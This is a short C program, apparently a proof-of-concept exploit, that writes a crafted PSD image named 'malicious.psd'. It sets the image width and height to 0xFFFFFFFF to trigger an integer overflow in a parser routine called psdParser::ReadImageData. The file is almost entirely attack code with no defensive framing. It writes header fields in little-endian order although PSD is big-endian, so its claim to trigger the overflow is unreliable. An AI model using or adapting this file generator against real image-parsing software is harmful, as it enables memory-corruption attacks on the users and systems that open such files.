#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// PSD file header structure
#pragma pack(push, 1)
typedef struct {
char signature[4]; // '8BPS'
unsigned short version; // 1
char reserved[6]; // must be zero
unsigned short channels;// number of channels (1-56)
unsigned int height; // height of image
unsigned int width; // width of image
unsigned short depth; // bits per channel
unsigned short mode; // color mode
} PSD_HEADER;
// Create malicious PSD file to trigger integer overflow in psdParser::ReadImageData
void create_malicious_psd(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (!fp) return;
PSD_HEADER header;
memset(&header, 0, sizeof(header));
// PSD signature
memcpy(header.signature, "8BPS", 4);
header.version = 1;
// Trigger integer overflow: set large dimensions
// that cause overflow when calculating buffer size
header.channels = 4;
header.height = 0xFFFFFFFF; // Max value to trigger overflow
header.width = 0xFFFFFFFF; // Max value to trigger overflow
header.depth = 8;
header.mode = 3; // RGB mode
fwrite(&header, sizeof(header), 1, fp);
// Add minimal color mode data section
unsigned int color_mode_data_length = 0;
fwrite(&color_mode_data_length, 4, 1, fp);
// Add image resources section
unsigned int image_resources_length = 0;
fwrite(&image_resources_length, 4, 1, fp);
// Add layer and mask data section
unsigned int layer_mask_length = 0;
fwrite(&layer_mask_length, 4, 1, fp);
// Add compressed image data that will cause overflow
unsigned char compression = 0; // Raw data
fwrite(&compression, 1, 1, fp);
// Write minimal data
unsigned char data[16] = {0};
fwrite(data, 16, 1, fp);
fclose(fp);
printf("Malicious PSD file created: %s\n", filename);
}
int main() {
create_malicious_psd("malicious.psd");
return 0;
}